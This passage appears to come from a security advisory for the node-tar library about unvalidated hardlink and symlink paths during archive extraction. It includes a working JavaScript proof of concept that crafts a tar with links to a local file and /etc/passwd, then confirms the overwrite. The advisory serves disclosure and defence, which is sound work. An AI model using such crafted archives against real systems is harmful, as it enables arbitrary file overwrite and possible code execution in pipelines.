extraction logic passes the user-supplied `entry.linkpath` directly to `fs.symlink` without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (`../../`), even when secure extraction defaults are used. ### PoC The following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to `/etc/passwd`). It then extracts the archive using standard `node-tar` settings and demonstrates the vulnerability by verifying that the local "secret" file was successfully overwritten. ```javascript const fs = require('fs') const path = require('path') const tar = require('tar') const out = path.resolve('out_repro') const secret = path.resolve('secret.txt') const tarFile = path.resolve('exploit.tar') const targetSym = '/etc/passwd' // Cleanup & Setup try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {} fs.mkdirSync(out) fs.writeFileSync(secret, 'ORIGINAL_DATA') // 1. Craft malicious Link header (Hardlink to absolute local file) const h1 = new tar.Header({ path: 'exploit_hard', type: 'Link', size: 0, linkpath: secret }) h1.encode() // 2. Craft malicious Symlink header (Symlink to /etc/passwd) const h2 = new tar.Header({ path: 'exploit_sym', type: 'SymbolicLink', size: 0, linkpath: targetSym }) h2.encode() // Write binary tar fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ])) console.log('[*] Extracting malicious tarball...') // 3. Extract with default secure settings tar.x({ cwd: out, file: tarFile, preservePaths: false }).then(() => { console.log('[*] Verifying payload...') // Test Hardlink Overwrite try { fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN') if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') { console.log('[+] VULN CONFIRMED: Hardlink overwrite successful') } else { console.log('[-] Hardlink failed') } } catch (e) {} // Test Symlink Poisoning try { if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) { console.log('[+] VULN CONFIRMED: Symlink points to absolute path') } else { console.log('[-] Symlink failed') } } catch (e) {} }) ``` ### Impact * **Arbitrary File Overwrite:** An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files. * **Remote Code Execution (RCE):** In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all `Link` and `SymbolicLink` tar entries from extracted packages.) |
Affected by 5 other vulnerabilities. |
| Vulnerability | Summary | Aliases |
|---|---|---|
| This package is not known to fix vulnerabilities. | ||